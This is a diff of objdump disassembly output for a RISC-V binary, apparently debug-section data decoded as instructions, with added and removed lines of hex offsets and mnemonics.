+ 3d6:	5d00                	lw	s0,56(a0)
+ 3d8:	1d55                	addi	s10,s10,-11
+ 3da:	2040                	fld	fs0,128(s0)
+ 3dc:	1d84                	addi	s1,sp,752
+ 3de:	2040                	fld	fs0,128(s0)
+ 3e0:	0004                	0x4
+ 3e2:	9f5d01f3          	0x9f5d01f3
 	...
-    206a:	0008                	0x8
-    206c:	0000                	unimp
-    206e:	0044                	addi	s1,sp,4
-    2070:	0000                	unimp
-    2072:	0001                	nop
-    2074:	0000445b          	0x445b
-    2078:	6a00                	flw	fs0,16(a2)
-    207a:	0000                	unimp
-    207c:	0100                	addi	s0,sp,128
-    207e:	5e00                	lw	s0,56(a2)
-    2080:	00b2                	slli	ra,ra,0xc
-    2082:	0000                	unimp
-    2084:	010a                	slli	sp,sp,0x2
-    2086:	0000                	unimp
-    2088:	0001                	nop
-    208a:	0001505b          	0x1505b
-    208e:	7200                	flw	fs0,32(a2)
-    2090:	0001                	nop
-    2092:	0100                	addi	s0,sp,128
-    2094:	5b00                	lw	s0,48(a4)
-    2096:	0178                	addi	a4,sp,140
-    2098:	0000                	unimp
-    209a:	01ae                	slli	gp,gp,0xb
-    209c:	0000                	unimp
-    209e:	0001                	nop
-    20a0:	d05c                	sw	a5,36(s0)
-    20a2:	0001                	nop
-    20a4:	1400                	addi	s0,sp,544
-    20a6:	0002                	c.slli64	zero
-    20a8:	0100                	addi	s0,sp,128
-    20aa:	5b00                	lw	s0,48(a4)
-    20ac:	0214                	addi	a3,sp,256
-    20ae:	0000                	unimp
-    20b0:	0218                	addi	a4,sp,256
-    20b2:	0000                	unimp
-    20b4:	0001                	nop
-    20b6:	1c5e                	slli	s8,s8,0x37
-    20b8:	0002                	c.slli64	zero
-    20ba:	2000                	fld	fs0,0(s0)
-    20bc:	0002                	c.slli64	zero
-    20be:	0100                	addi	s0,sp,128
-    20c0:	5e00                	lw	s0,56(a2)
-    20c2:	0220                	addi	s0,sp,264
-    20c4:	0000                	unimp
-    20c6:	024e                	slli	tp,tp,0x13
-    20c8:	0000                	unimp
-    20ca:	0001                	nop
-    20cc:	0002545b          	0x2545b
-    20d0:	a600                	fsd	fs0,8(a2)
-    20d2:	0002                	c.slli64	zero
-    20d4:	0100                	addi	s0,sp,128
-    20d6:	5f00                	lw	s0,56(a4)
-    20d8:	02ce                	slli	t0,t0,0x13
-    20da:	0000                	unimp
-    20dc:	032c                	addi	a1,sp,392
-    20de:	0000                	unimp
-    20e0:	0001                	nop
-    20e2:	00032e5b          	0x32e5b
-    20e6:	3e00                	fld	fs0,56(a2)
-    20e8:	01000003          	lb	zero,16(zero) # 10 <__stack_size-0x7f0>
-    20ec:	5b00                	lw	s0,48(a4)
+ 3ee:	1d2a                	slli	s10,s10,0x2a
+ 3f0:	2040                	fld	fs0,128(s0)
+ 3f2:	1d32                	slli	s10,s10,0x2c
+ 3f4:	2040                	fld	fs0,128(s0)
+ 3f6:	0001                	nop
+ 3f8:	325a                	fld	ft4,432(sp)
+ 3fa:	401d                	c.li	zero,7
+ 3fc:	3c20                	fld	fs0,120(s0)
+ 3fe:	401d                	c.li	zero,7
+ 400:	0120                	addi	s0,sp,136
+ 402:	5800                	lw	s0,48(s0)
+ 404:	1d3c                	addi	a5,sp,696
+ 406:	2040                	fld	fs0,128(s0)
+ 408:	20401d43          	fmadd.s	fs10,ft0,ft4,ft4,rtz
+ 40c:	0001                	nop
+ 40e:	435a                	lw	t1,148(sp)
+ 410:	401d                	c.li	zero,7
+ 412:	4420                	lw	s0,72(s0)
+ 414:	401d                	c.li	zero,7
+ 416:	0420                	addi	s0,sp,520
+ 418:	f300                	fsw	fs0,32(a4)
+ 41a:	5a01                	li	s4,-32
+ 41c:	009f 0000 0000      	0x9f
+ 422:	0000                	unimp
+ 424:	4600                	lw	s0,8(a2)
+ 426:	4020                	lw	s0,64(s0)
+ 428:	5a20                	lw	s0,112(a2)
+ 42a:	4020                	lw	s0,64(s0)
+ 42c:	0120                	addi	s0,sp,136
+ 42e:	5a00                	lw	s0,48(a2)
+ 430:	205a                	fld	ft0,400(sp)
+ 432:	2040                	fld	fs0,128(s0)
+ 434:	216e                	fld	ft2,216(sp)
+ 436:	2040                	fld	fs0,128(s0)
+ 438:	0001                	nop
+ 43a:	6e59                	lui	t3,0x16
+ 43c:	4021                	c.li	zero,8
+ 43e:	7220                	flw	fs0,96(a2)
+ 440:	4021                	c.li	zero,8
+ 442:	0120                	addi	s0,sp,136
+ 444:	5a00                	lw	s0,48(a2)
+ 446:	2172                	fld	ft2,280(sp)
+ 448:	2040                	fld	fs0,128(s0)
+ 44a:	2298                	fld	fa4,0(a3)
+ 44c:	2040                	fld	fs0,128(s0)
+ 44e:	0001                	nop
+ 450:	0059                	c.nop	22
+ 452:	0000                	unimp
+ 454:	0000                	unimp
+ 456:	0000                	unimp
+ 458:	4600                	lw	s0,8(a2)
+ 45a:	4020                	lw	s0,64(s0)
+ 45c:	7120                	flw	fs0,96(a0)
+ 45e:	4020                	lw	s0,64(s0)
+ 460:	0120                	addi	s0,sp,136
+ 462:	5b00                	lw	s0,48(a4)
+ 464:	2071                	jal	4f0 <__stack_size-0x310>
+ 466:	2040                	fld	fs0,128(s0)
+ 468:	2298                	fld	fa4,0(a3)
+ 46a:	2040                	fld	fs0,128(s0)
+ 46c:	0004                	0x4
+ 46e:	9f5b01f3          	0x9f5b01f3
 	...
-    20f6:	0166                	slli	sp,sp,0x19
-    20f8:	0000                	unimp
-    20fa:	018a                	slli	gp,gp,0x2
-    20fc:	0000                	unimp
-    20fe:	0001                	nop
-    2100:	465d                	li	a2,23
-    2102:	0002                	c.slli64	zero
-    2104:	6600                	flw	fs0,8(a2)
-    2106:	0002                	c.slli64	zero
-    2108:	0100                	addi	s0,sp,128
-    210a:	5e00                	lw	s0,56(a2)
+ 47a:	2046                	fld	ft0,80(sp)
+ 47c:	2040                	fld	fs0,128(s0)
+ 47e:	2071                	jal	50a <__stack_size-0x2f6>
+ 480:	2040                	fld	fs0,128(s0)
+ 482:	0001                	nop
+ 484:	715c                	flw	fa5,36(a0)
+ 486:	4020                	lw	s0,64(s0)
+ 488:	2a20                	fld	fs0,80(a2)
+ 48a:	4021                	c.li	zero,8
+ 48c:	0120                	addi	s0,sp,136
+ 48e:	6600                	flw	fs0,8(a2)
+ 490:	212a                	fld	ft2,136(sp)
+ 492:	2040                	fld	fs0,128(s0)
+ 494:	2172                	fld	ft2,280(sp)
+ 496:	2040                	fld	fs0,128(s0)
+ 498:	0004                	0x4
+ 49a:	9f5c01f3          	0x9f5c01f3
+ 49e:	2172                	fld	ft2,280(sp)
+ 4a0:	2040                	fld	fs0,128(s0)
+ 4a2:	2220                	fld	fs0,64(a2)
+ 4a4:	2040                	fld	fs0,128(s0)
+ 4a6:	0001                	nop
+ 4a8:	2066                	fld	ft0,88(sp)
+ 4aa:	4022                	0x4022
+ 4ac:	9820                	0x9820
+ 4ae:	4022                	0x4022
+ 4b0:	0420                	addi	s0,sp,520
+ 4b2:	f300                	fsw	fs0,32(a4)
+ 4b4:	5c01                	li	s8,-32
+ 4b6:	009f 0000 0000      	0x9f
+ 4bc:	0000                	unimp
+ 4be:	9800                	0x9800
+ 4c0:	4020                	lw	s0,64(s0)
+ 4c2:	1c20                	addi	s0,sp,568
+ 4c4:	4021                	c.li	zero,8
+ 4c6:	0120                	addi	s0,sp,136
+ 4c8:	5800                	lw	s0,48(s0)
+ 4ca:	2180                	fld	fs0,0(a1)
+ 4cc:	2040                	fld	fs0,128(s0)
+ 4ce:	2220                	fld	fs0,64(a2)
+ 4d0:	2040                	fld	fs0,128(s0)
+ 4d2:	0001                	nop
+ 4d4:	0058                	addi	a4,sp,4
+ 4d6:	0000                	unimp
+ 4d8:	0000                	unimp
+ 4da:	0000                	unimp
+ 4dc:	5200                	lw	s0,32(a2)
+ 4de:	4020                	lw	s0,64(s0)
+ 4e0:	1c20                	addi	s0,sp,568
+ 4e2:	4021                	c.li	zero,8
+ 4e4:	0120                	addi	s0,sp,136
+ 4e6:	6400                	flw	fs0,8(s0)
+ 4e8:	2172                	fld	ft2,280(sp)
+ 4ea:	2040                	fld	fs0,128(s0)
+ 4ec:	21a0                	fld	fs0,64(a1)
+ 4ee:	2040                	fld	fs0,128(s0)
+ 4f0:	0001                	nop
+ 4f2:	0064                	addi	s1,sp,12
+ 4f4:	0000                	unimp
+ 4f6:	0000                	unimp
+ 4f8:	0000                	unimp
+ 4fa:	8200                	0x8200
+ 4fc:	4020                	lw	s0,64(s0)
+ 4fe:	5c20                	lw	s0,120(s0)
+ 500:	4021                	c.li	zero,8
+ 502:	0120                	addi	s0,sp,136
+ 504:	6200                	flw	fs0,0(a2)
+ 506:	2172                	fld	ft2,280(sp)
+ 508:	2040                	fld	fs0,128(s0)
+ 50a:	2298                	fld	fa4,0(a3)
+ 50c:	2040                	fld	fs0,128(s0)
+ 50e:	0001                	nop
+ 510:	0062                	c.slli	zero,0x18
+ 512:	0000                	unimp
+ 514:	0000                	unimp
+ 516:	0000                	unimp
+ 518:	2400                	fld	fs0,8(s0)
+ 51a:	4021                	c.li	zero,8
+ 51c:	4220                	lw	s0,64(a2)
+ 51e:	4021                	c.li	zero,8
+ 520:	0220                	addi	s0,sp,264
+ 522:	3000                	fld	fs0,32(s0)
+ 524:	429f 4021 5e20      	0x5e204021429f
+ 52a:	4021                	c.li	zero,8
+ 52c:	0120                	addi	s0,sp,136
+ 52e:	6300                	flw	fs0,0(a4)
+ 530:	2220                	fld	fs0,64(a2)
+ 532:	2040                	fld	fs0,128(s0)
+ 534:	2254                	fld	fa3,128(a2)
+ 536:	2040                	fld	fs0,128(s0)
+ 538:	0001                	nop
+ 53a:	40225a63          	bge	tp,sp,94e <__stack_size+0x14e>
+ 53e:	9820                	0x9820
+ 540:	4022                	0x4022
+ 542:	0120                	addi	s0,sp,136
+ 544:	6300                	flw	fs0,0(a4)
 	...
-    2114:	020e                	slli	tp,tp,0x3
-    2116:	0000                	unimp
-    2118:	021c                	addi	a5,sp,256
-    211a:	0000                	unimp
-    211c:	0002                	c.slli64	zero
-    211e:	9f31                	0x9f31
+ 54e:	2188                	fld	fa0,0(a1)
+ 550:	2040                	fld	fs0,128(s0)
+ 552:	2190                	fld	fa2,0(a1)
+ 554:	2040                	fld	fs0,128(s0)
+ 556:	0001                	nop
+ 558:	905a                	c.add	zero,s6
+ 55a:	4021                	c.li	zero,8
+ 55c:	2020                	fld	fs0,64(s0)
+ 55e:	4022                	0x4022
+ 560:	0120                	addi	s0,sp,136
+ 562:	6300                	flw	fs0,0(a4)
 	...
-    2128:	021c                	addi	a5,sp,256
-    212a:	0000                	unimp
-    212c:	0220                	addi	s0,sp,264
-    212e:	0000                	unimp
-    2130:	0002                	c.slli64	zero
-    2132:	9f30                	0x9f30
-    2134:	0322                	slli	t1,t1,0x8
-    2136:	0000                	unimp
-    2138:	0340                	addi	s0,sp,388
-    213a:	0000                	unimp
-    213c:	0002                	c.slli64	zero
-    213e:	9f30                	0x9f30
+ 56c:	21ac                	fld	fa1,64(a1)
+ 56e:	2040                	fld	fs0,128(s0)
+ 570:	204021b3          	0x204021b3
+ 574:	0001                	nop
+ 576:	b35a                	fsd	fs6,416(sp)
+ 578:	4021                	c.li	zero,8
+ 57a:	2020                	fld	fs0,64(s0)
+ 57c:	4022                	0x4022
+ 57e:	0120                	addi	s0,sp,136
+ 580:	6400                	flw	fs0,8(s0)
 	...
-    2148:	015e                	slli	sp,sp,0x17
-    214a:	0000                	unimp
-    214c:	0176                	slli	sp,sp,0x1d
-    214e:	0000                	unimp
-    2150:	0001                	nop
-    2152:	2e5c                	fld	fa5,152(a2)
-    2154:	0002                	c.slli64	zero
-    2156:	3200                	fld	fs0,32(a2)
-    2158:	01000003          	lb	zero,16(zero) # 10 <__stack_size-0x7f0>
-    215c:	6100                	flw	fs0,0(a0)
+ 58a:	21dc                	fld	fa5,128(a1)
+ 58c:	2040                	fld	fs0,128(s0)
+ 58e:	21e6                	fld	ft3,88(sp)
+ 590:	2040                	fld	fs0,128(s0)
+ 592:	0001                	nop
+ 594:	005a                	c.slli	zero,0x16
+ 596:	0000                	unimp
+ 598:	0000                	unimp
+ 59a:	0000                	unimp
+ 59c:	dc00                	sw	s0,56(s0)
+ 59e:	4021                	c.li	zero,8
+ 5a0:	e620                	fsw	fs0,72(a2)
+ 5a2:	4021                	c.li	zero,8
+ 5a4:	0220                	addi	s0,sp,264
+ 5a6:	3000                	fld	fs0,32(s0)
+ 5a8:	e69f 4021 1920      	0x19204021e69f
+ 5ae:	4022                	0x4022
+ 5b0:	0120                	addi	s0,sp,136
+ 5b2:	6000                	flw	fs0,0(s0)
 	...
-    2166:	003c                	addi	a5,sp,8
-    2168:	0000                	unimp
-    216a:	00b0                	addi	a2,sp,72
-    216c:	0000                	unimp
-    216e:	0001                	nop
-    2170:	ec61                	bnez	s0,2248 <__stack_size+0x1a48>
-    2172:	0000                	unimp
-    2174:	5000                	lw	s0,32(s0)
-    2176:	0001                	nop
-    2178:	0100                	addi	s0,sp,128
-    217a:	6100                	flw	fs0,0(a0)
-    217c:	015e                	slli	sp,sp,0x17
-    217e:	0000                	unimp
-    2180:	01d2                	slli	gp,gp,0x14
-    2182:	0000                	unimp
-    2184:	0001                	nop
-    2186:	0261                	addi	tp,tp,24
-    2188:	0002                	c.slli64	zero
-    218a:	2000                	fld	fs0,0(s0)
-    218c:	0002                	c.slli64	zero
-    218e:	0100                	addi	s0,sp,128
-    2190:	6000                	flw	fs0,0(s0)
-    2192:	022e                	slli	tp,tp,0xb
-    2194:	0000                	unimp
-    2196:	0340                	addi	s0,sp,388
-    2198:	0000                	unimp
-    219a:	0001                	nop
-    219c:	0060                	addi	s0,sp,12
-    219e:	0000                	unimp
-    21a0:	0000                	unimp
-    21a2:	0000                	unimp
-    21a4:	1800                	addi	s0,sp,48
-    21a6:	0000                	unimp
-    21a8:	6000                	flw	fs0,0(s0)
-    21aa:	0000                	unimp
-    21ac:	0100                	addi	s0,sp,128
-    21ae:	5c00                	lw	s0,56(s0)
-    21b0:	00b2                	slli	ra,ra,0xc
-    21b2:	0000                	unimp
-    21b4:	00c0                	addi	s0,sp,68
-    21b6:	0000                	unimp
-    21b8:	0001                	nop
-    21ba:	005c                	addi	a5,sp,4
-    21bc:	0000                	unimp
-    21be:	0000                	unimp
-    21c0:	0000                	unimp
-    21c2:	2800                	fld	fs0,16(s0)
-    21c4:	0000                	unimp
-    21c6:	3400                	fld	fs0,40(s0)
-    21c8:	0000                	unimp
-    21ca:	0100                	addi	s0,sp,128
-    21cc:	5f00                	lw	s0,56(a4)
+ 5bc:	2228                	fld	fa0,64(a2)
+ 5be:	2040                	fld	fs0,128(s0)
+ 5c0:	2238                	fld	fa4,64(a2)
+ 5c2:	2040                	fld	fs0,128(s0)
+ 5c4:	0002                	c.slli64	zero
+ 5c6:	9f40                	0x9f40
+ 5c8:	2238                	fld	fa4,64(a2)
+ 5ca:	2040                	fld	fs0,128(s0)
+ 5cc:	2040223f 005c0001 	0x5c00012040223f
 	...
-    21d6:	0058                	addi	a4,sp,4
-    21d8:	0000                	unimp
-    21da:	00aa                	slli	ra,ra,0xa
-    21dc:	0000                	unimp
-    21de:	0001                	nop
-    21e0:	0000005b          	0x5b
-    21e4:	0000                	unimp
-    21e6:	0000                	unimp
-    21e8:	6200                	flw	fs0,0(a2)
-    21ea:	0000                	unimp
-    21ec:	aa00                	fsd	fs0,16(a2)
-    21ee:	0000                	unimp
-    21f0:	0100                	addi	s0,sp,128
-    21f2:	5c00                	lw	s0,56(s0)
+ 5e0:	0000                	unimp
+ 5e2:	0100                	addi	s0,sp,128
+ 5e4:	5a00                	lw	s0,48(a2)
 	...
-    21fc:	0090                	addi	a2,sp,64
-    21fe:	0000                	unimp
-    2200:	0098                	addi	a4,sp,64
-    2202:	0000                	unimp
-    2204:	0001                	nop
-    2206:	005d                	c.nop	23
-    2208:	0000                	unimp
-    220a:	0000                	unimp
-    220c:	0000                	unimp
-    220e:	6200                	flw	fs0,0(a2)
-    2210:	0000                	unimp
-    2212:	6c00                	flw	fs0,24(s0)
-    2214:	0000                	unimp
-    2216:	0100                	addi	s0,sp,128
-    2218:	5f00                	lw	s0,56(a4)
-    221a:	0072                	c.slli	zero,0x1c
-    221c:	0000                	unimp
-    221e:	0090                	addi	a2,sp,64
-    2220:	0000                	unimp
-    2222:	0001                	nop
-    2224:	005d                	c.nop	23
-    2226:	0000                	unimp
-    2228:	0000                	unimp
-    222a:	0000                	unimp
-    222c:	8800                	0x8800
-    222e:	0000                	unimp
-    2230:	9200                	0x9200
-    2232:	0000                	unimp
-    2234:	0100                	addi	s0,sp,128
-    2236:	5f00                	lw	s0,56(a4)
-    2238:	0098                	addi	a4,sp,64
-    223a:	0000                	unimp
-    223c:	00aa                	slli	ra,ra,0xa
-    223e:	0000                	unimp
-    2240:	0001                	nop
-    2242:	005a                	c.slli	zero,0x16
-    2244:	0000                	unimp
-    2246:	0000                	unimp
-    2248:	0000                	unimp
-    224a:	7200                	flw	fs0,32(a2)
-    224c:	0000                	unimp
-    224e:	9800                	0x9800
-    2250:	0000                	unimp
-    2252:	0100                	addi	s0,sp,128
-    2254:	5e00                	lw	s0,56(a2)
-    2256:	0098                	addi	a4,sp,64
-    2258:	0000                	unimp
-    225a:	00aa                	slli	ra,ra,0xa
-    225c:	0000                	unimp
-    225e:	0001                	nop
-    2260:	005d                	c.nop	23
-    2262:	0000                	unimp
-    2264:	0000                	unimp
-    2266:	0000                	unimp
-    2268:	c800                	sw	s0,16(s0)
-    226a:	0000                	unimp
-    226c:	f400                	fsw	fs0,40(s0)
-    226e:	0000                	unimp
-    2270:	0100                	addi	s0,sp,128
-    2272:	6000                	flw	fs0,0(s0)
-    2274:	0150                	addi	a2,sp,132
-    2276:	0000                	unimp
-    2278:	0162                	slli	sp,sp,0x18
-    227a:	0000                	unimp
-    227c:	0001                	nop
-    227e:	0060                	addi	s0,sp,12
-    2280:	0000                	unimp
-    2282:	0000                	unimp
-    2284:	0000                	unimp
-    2286:	d800                	sw	s0,48(s0)
-    2288:	0000                	unimp
-    228a:	e800                	fsw	fs0,16(s0)
-    228c:	0000                	unimp
-    228e:	0100                	addi	s0,sp,128
-    2290:	5f00                	lw	s0,56(a4)
+ 5ee:	0004                	0x4
+ 5f0:	9f5a01f3          	0x9f5a01f3
 	...
-    229a:	00f8                	addi	a4,sp,76
-    229c:	0000                	unimp
-    229e:	0150                	addi	a2,sp,132
-    22a0:	0000                	unimp
-    22a2:	0001                	nop
-    22a4:	005d                	c.nop	23
-    22a6:	0000                	unimp
-    22a8:	0000                	unimp
-    22aa:	0000                	unimp
-    22ac:	fe00                	fsw	fs0,56(a2)
-    22ae:	0000                	unimp
-    22b0:	3a00                	fld	fs0,48(a2)
-    22b2:	0001                	nop
-    22b4:	0100                	addi	s0,sp,128
-    22b6:	5f00                	lw	s0,56(a4)
-    22b8:	013a                	slli	sp,sp,0xe
-    22ba:	0000                	unimp
-    22bc:	0150                	addi	a2,sp,132
-    22be:	0000                	unimp
-    22c0:	00800007          	0x800007
-    22c4:	2440                	fld	fs0,136(s0)
-    22c6:	2540                	fld	fs0,136(a0)
-    22c8:	009f 0000 0000      	0x9f
-    22ce:	0000                	unimp
-    22d0:	0a00                	addi	s0,sp,272
-    22d2:	0001                	nop
-    22d4:	1200                	addi	s0,sp,288
-    22d6:	0001                	nop
-    22d8:	0100                	addi	s0,sp,128
-    22da:	5b00                	lw	s0,48(a4)
+ 5fc:	1f10                	addi	a2,sp,944
+ 5fe:	2040                	fld	fs0,128(s0)
+ 600:	1f20                	addi	s0,sp,952
+ 602:	2040                	fld	fs0,128(s0)
+ 604:	0001                	nop
+ 606:	205a                	fld	ft0,400(sp)
+ 608:	401f 4620 4020      	0x40204620401f
+ 60e:	0420                	addi	s0,sp,520
+ 610:	f300                	fsw	fs0,32(a4)
+ 612:	5a01                	li	s4,-32
+ 614:	009f 0000 0000      	0x9f
+ 61a:	0000                	unimp
+ 61c:	1000                	addi	s0,sp,32
+ 61e:	401f 1e20 401f      	0x401f1e20401f
+ 624:	0120                	addi	s0,sp,136
+ 626:	5b00                	lw	s0,48(a4)
+ 628:	1f1e                	slli	t5,t5,0x27
+ 62a:	2040                	fld	fs0,128(s0)
+ 62c:	1fa0                	addi	s0,sp,1016
+ 62e:	2040                	fld	fs0,128(s0)
+ 630:	0001                	nop
+ 632:	a064                	fsd	fs1,192(s0)
+ 634:	401f a620 401f      	0x401fa620401f
+ 63a:	0420                	addi	s0,sp,520
+ 63c:	f300                	fsw	fs0,32(a4)
+ 63e:	5b01                	li	s6,-32
+ 640:	a69f 401f 4620      	0x4620401fa69f
+ 646:	4020                	lw	s0,64(s0)
+ 648:	0120                	addi	s0,sp,136
+ 64a:	6400                	flw	fs0,8(s0)
 	...
-    22e4:	0132                	slli	sp,sp,0xc
-    22e6:	0000                	unimp
-    22e8:	0136                	slli	sp,sp,0xd
-    22ea:	0000                	unimp
-    22ec:	0001                	nop
-    22ee:	0000005b          	0x5b
-    22f2:	0000                	unimp
-    22f4:	0000                	unimp
-    22f6:	0600                	addi	s0,sp,768
-    22f8:	0001                	nop
-    22fa:	0c00                	addi	s0,sp,528
-    22fc:	0001                	nop
-    22fe:	0100                	addi	s0,sp,128
-    2300:	5e00                	lw	s0,56(a2)
-    2302:	0112                	slli	sp,sp,0x4
-    2304:	0000                	unimp
-    2306:	0126                	slli	sp,sp,0x9
-    2308:	0000                	unimp
-    230a:	0001                	nop
-    230c:	265e                	fld	fa2,464(sp)
-    230e:	0001                	nop
-    2310:	3200                	fld	fs0,32(a2)
-    2312:	0001                	nop
-    2314:	0100                	addi	s0,sp,128
-    2316:	5b00                	lw	s0,48(a4)
+ 654:	1f88                	addi	a0,sp,1008
+ 656:	2040                	fld	fs0,128(s0)
+ 658:	1f92                	slli	t6,t6,0x24
+ 65a:	2040                	fld	fs0,128(s0)
+ 65c:	0001                	nop
+ 65e:	0058                	addi	a4,sp,4
+ 660:	0000                	unimp
+ 662:	0000                	unimp
+ 664:	0000                	unimp
+ 666:	6400                	flw	fs0,8(s0)
+ 668:	401e                	0x401e
+ 66a:	7220                	flw	fs0,96(a2)
+ 66c:	401e                	0x401e
+ 66e:	0120                	addi	s0,sp,136
+ 670:	5a00                	lw	s0,48(a2)
+ 672:	1e72                	slli	t3,t3,0x3c
+ 674:	2040                	fld	fs0,128(s0)
+ 676:	1f10                	addi	a2,sp,944
+ 678:	2040                	fld	fs0,128(s0)
+ 67a:	0004                	0x4
+ 67c:	9f5a01f3          	0x9f5a01f3
 	...
-    2320:	012a                	slli	sp,sp,0xa
-    2322:	0000                	unimp
-    2324:	013c                	addi	a5,sp,136
-    2326:	0000                	unimp
-    2328:	0001                	nop
-    232a:	3c5e                	fld	fs8,496(sp)
-    232c:	0001                	nop
-    232e:	5000                	lw	s0,32(s0)
-    2330:	0001                	nop
-    2332:	0100                	addi	s0,sp,128
-    2334:	5a00                	lw	s0,48(a2)
+ 688:	1e64                	addi	s1,sp,828
+ 68a:	2040                	fld	fs0,128(s0)
+ 68c:	20401e83          	lh	t4,516(zero) # 204 <__stack_size-0x5fc>
+ 690:	0001                	nop
+ 692:	401e835b          	0x401e835b
+ 696:	0020                	addi	s0,sp,8
+ 698:	401f 0120 5900      	0x59000120401f
+ 69e:	1f00                	addi	s0,sp,944
+ 6a0:	2040                	fld	fs0,128(s0)
+ 6a2:	1f10                	addi	a2,sp,944
+ 6a4:	2040                	fld	fs0,128(s0)
+ 6a6:	0004                	0x4
+ 6a8:	9f5b01f3          	0x9f5b01f3
 	...
-    233e:	0112                	slli	sp,sp,0x4
-    2340:	0000                	unimp
-    2342:	0126                	slli	sp,sp,0x9
-    2344:	0000                	unimp
-    2346:	0001                	nop
-    2348:	0001365b          	0x1365b
-    234c:	5000                	lw	s0,32(s0)
-    234e:	0001                	nop
-    2350:	0100                	addi	s0,sp,128
-    2352:	5b00                	lw	s0,48(a4)
+ 6b4:	1ea8                	addi	a0,sp,888
+ 6b6:	2040                	fld	fs0,128(s0)
+ 6b8:	1eb0                	addi	a2,sp,888
+ 6ba:	2040                	fld	fs0,128(s0)
+ 6bc:	0001                	nop
+ 6be:	b05a                	fsd	fs6,32(sp)
+ 6c0:	401e                	0x401e
+ 6c2:	0a20                	addi	s0,sp,280
+ 6c4:	401f 0120 6400      	0x64000120401f
+ 6ca:	1f0a                	slli	t5,t5,0x22
+ 6cc:	2040                	fld	fs0,128(s0)
+ 6ce:	20401f0f          	0x20401f0f
+ 6d2:	0001                	nop
+ 6d4:	005a                	c.slli	zero,0x16
+ 6d6:	0000                	unimp
+ 6d8:	0000                	unimp
+ 6da:	0000                	unimp
+ 6dc:	a200                	fsd	fs0,0(a2)
+ 6de:	401e                	0x401e
+ 6e0:	fc20                	fsw	fs0,120(s0)
+ 6e2:	401e                	0x401e
+ 6e4:	0120                	addi	s0,sp,136
+ 6e6:	5800                	lw	s0,48(s0)
 	...
-    235c:	0182                	c.slli64	gp
-    235e:	0000                	unimp
-    2360:	01d2                	slli	gp,gp,0x14
-    2362:	0000                	unimp
-    2364:	0001                	nop
-    2366:	005f 0000 0000      	0x5f
-    236c:	0000                	unimp
-    236e:	8200                	0x8200
-    2370:	0001                	nop
-    2372:	be00                	fsd	fs0,56(a2)
-    2374:	0001                	nop
-    2376:	0100                	addi	s0,sp,128
-    2378:	5b00                	lw	s0,48(a4)
-    237a:	01be                	slli	gp,gp,0xf
-    237c:	0000                	unimp
-    237e:	01d2                	slli	gp,gp,0x14
-    2380:	0000                	unimp
-    2382:	00800007          	0x800007
-    2386:	2440                	fld	fs0,136(s0)
-    2388:	2540                	fld	fs0,136(a0)
-    238a:	009f 0000 0000      	0x9f
-    2390:	0000                	unimp
-    2392:	8a00                	0x8a00
-    2394:	0001                	nop
-    2396:	9400                	0x9400
-    2398:	0001                	nop
-    239a:	0100                	addi	s0,sp,128
-    239c:	5d00                	lw	s0,56(a0)
+ 6f0:	1eb4                	addi	a3,sp,888
+ 6f2:	2040                	fld	fs0,128(s0)
+ 6f4:	1eb8                	addi	a4,sp,888
+ 6f6:	2040                	fld	fs0,128(s0)
+ 6f8:	0002                	c.slli64	zero
+ 6fa:	9f30                	0x9f30
+ 6fc:	1eb8                	addi	a4,sp,888
+ 6fe:	2040                	fld	fs0,128(s0)
+ 700:	1ed0                	addi	a2,sp,884
+ 702:	2040                	fld	fs0,128(s0)
+ 704:	0001                	nop
+ 706:	401eda63          	bge	t4,ra,b1a <__stack_size+0x31a>
+ 70a:	0420                	addi	s0,sp,520
+ 70c:	401f 0120 6300      	0x63000120401f
 	...
-    23a6:	01b4                	addi	a3,sp,200
-    23a8:	0000                	unimp
-    23aa:	01ba                	slli	gp,gp,0xe
-    23ac:	0000                	unimp
-    23ae:	0001                	nop
-    23b0:	005d                	c.nop	23
-    23b2:	0000                	unimp
-    23b4:	0000                	unimp
-    23b6:	0000                	unimp
-    23b8:	8200                	0x8200
-    23ba:	0001                	nop
-    23bc:	8c00                	0x8c00
-    23be:	0001                	nop
-    23c0:	0100                	addi	s0,sp,128
-    23c2:	5e00                	lw	s0,56(a2)
-    23c4:	0194                	addi	a3,sp,192
-    23c6:	0000                	unimp
-    23c8:	01a8                	addi	a0,sp,200
-    23ca:	0000                	unimp
-    23cc:	0001                	nop
-    23ce:	a85e                	fsd	fs7,16(sp)
-    23d0:	0001                	nop
-    23d2:	b400                	fsd	fs0,40(s0)
-    23d4:	0001                	nop
-    23d6:	0100                	addi	s0,sp,128
-    23d8:	5d00                	lw	s0,56(a0)
+ 71a:	1eb4                	addi	a3,sp,888
+ 71c:	2040                	fld	fs0,128(s0)
+ 71e:	1eb8                	addi	a4,sp,888
+ 720:	2040                	fld	fs0,128(s0)
+ 722:	0002                	c.slli64	zero
+ 724:	9f31                	0x9f31
 	...
-    23e2:	01ac                	addi	a1,sp,200
-    23e4:	0000                	unimp
-    23e6:	01b6                	slli	gp,gp,0xd
-    23e8:	0000                	unimp
-    23ea:	0001                	nop
-    23ec:	be5e                	fsd	fs7,312(sp)
-    23ee:	0001                	nop
-    23f0:	d200                	sw	s0,32(a2)
-    23f2:	0001                	nop
-    23f4:	0100                	addi	s0,sp,128
-    23f6:	5b00                	lw	s0,48(a4)
+ 72e:	1eba                	slli	t4,t4,0x2e
+ 730:	2040                	fld	fs0,128(s0)
+ 732:	1eca                	slli	t4,t4,0x32
+ 734:	2040                	fld	fs0,128(s0)
+ 736:	0002                	c.slli64	zero
+ 738:	9f40                	0x9f40
+ 73a:	1eca                	slli	t4,t4,0x32
+ 73c:	2040                	fld	fs0,128(s0)
+ 73e:	1ed5                	addi	t4,t4,-11
+ 740:	2040                	fld	fs0,128(s0)
+ 742:	0001                	nop
+ 744:	005c                	addi	a5,sp,4
 	...
-    2400:	0194                	addi	a3,sp,192
-    2402:	0000                	unimp
-    2404:	01a8                	addi	a0,sp,200
-    2406:	0000                	unimp
-    2408:	0001                	nop
-    240a:	ba5d                	j	1dc0 <__stack_size+0x15c0>
-    240c:	0001                	nop
-    240e:	d200                	sw	s0,32(a2)
-    2410:	0001                	nop
-    2412:	0100                	addi	s0,sp,128
-    2414:	5d00                	lw	s0,56(a0)
+ 752:	0000                	unimp
+ 754:	0100                	addi	s0,sp,128
+ 756:	5a00                	lw	s0,48(a2)
 	...
-    241e:	01d6                	slli	gp,gp,0x15
-    2420:	0000                	unimp
-    2422:	0236                	slli	tp,tp,0xd
-    2424:	0000                	unimp
-    2426:	0001                	nop
-    2428:	005d                	c.nop	23
-    242a:	0000                	unimp
-    242c:	0000                	unimp
-    242e:	0000                	unimp
-    2430:	e600                	fsw	fs0,8(a2)
